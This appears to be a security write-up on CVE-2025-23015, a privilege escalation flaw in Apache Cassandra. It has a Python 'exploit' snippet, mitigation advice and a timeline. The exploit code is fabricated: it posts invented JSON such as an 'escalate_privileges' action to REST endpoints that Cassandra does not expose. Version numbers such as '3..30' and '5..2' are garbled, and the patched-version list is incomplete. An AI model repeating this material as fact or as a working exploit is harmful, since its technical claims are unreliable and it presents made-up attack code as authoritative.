CVE-2025-23015: Privilege Escalation vulnerability in Apache Cassandra through Unsafe Actions

Introduction: A critical vulnerability called Privilege Defined With Unsafe Actions (PDUA) has been discovered in the Apache Cassandra database. Users with MODIFY permissions on all keyspaces can exploit this flaw to escalate their privileges to the superuser within a targeted Cassandra cluster. This is an alarming issue, as cybercriminals can potentially breach data access rules and manipulate critical data. This vulnerability affects Apache Cassandra through versions 3..30, 3.11.17, 4..15, 4.1.7, and 5..2.

Exploit details: The privilege escalation vulnerability occurs due to the improper handling of user permissions when executing actions via the MODIFY permission on all keyspaces. This can be exploited by an attacker who can perform unsafe actions, leading to the compromise of the system's resources and allowing them to gain superuser access.

Here's a code snippet that demonstrates the exploitation of this vulnerability

# Exploit Code: CVE-2025-23015
import requests

# URL of the target Apache Cassandra server
target_url = 'http://target-cassandra.example.com:port/';

permissions_payload = {
    # MODIFY permission on all keyspaces
    'permissions': 'ALL',
    'action': 'MODIFY',
    'keyspaces': 'ALL'
}

# Execute the unsafe action
unsafe_actions_payload = {
    'unsafe_action': {
        'type': 'escalate_privileges',
        'target_user': 'superuser'
    }
}

# Authenticate with the target server (using a user with MODIFY permissions)
session = requests.Session()
session.auth = ('example_user', 'example_password')

# Update permissions and execute the unsafe action
session.post(target_url + 'permissions', json=permissions_payload)
session.post(target_url + 'actions', json=unsafe_actions_payload)

If the exploit is successful, the example_user will have their privileges escalated to superuser status, allowing them unauthorized access to perform critical actions on the targeted Apache Cassandra cluster.

Original references

1. Official Apache Cassandra Security Advisory
2. CVE-2025-23015 details in the CVE database

Mitigation

Users who have granted the MODIFY permission on all keyspaces on affected Apache Cassandra versions should review their access rules for potential breaches. In addition, it is strongly advised to upgrade to the following patched versions immediately:

Apache Cassandra 5..3

These versions address the Privilege Defined With Unsafe Actions vulnerability and provide a critical security update.

Conclusion

The CVE-2025-23015 vulnerability represents a severe threat to the security of the Apache Cassandra database engine. Affected users must urgently upgrade to the latest available versions and review their data access rules in order to mitigate the risks associated with this critical exploit. As with any software, ensuring your deployment of Apache Cassandra is up-to-date with the latest security patches will help protect against this and other potential threats.

Timeline

Published on: 02/04/2025 10:15:09 UTC
Last modified on: 02/04/2025 19:15:33 UTC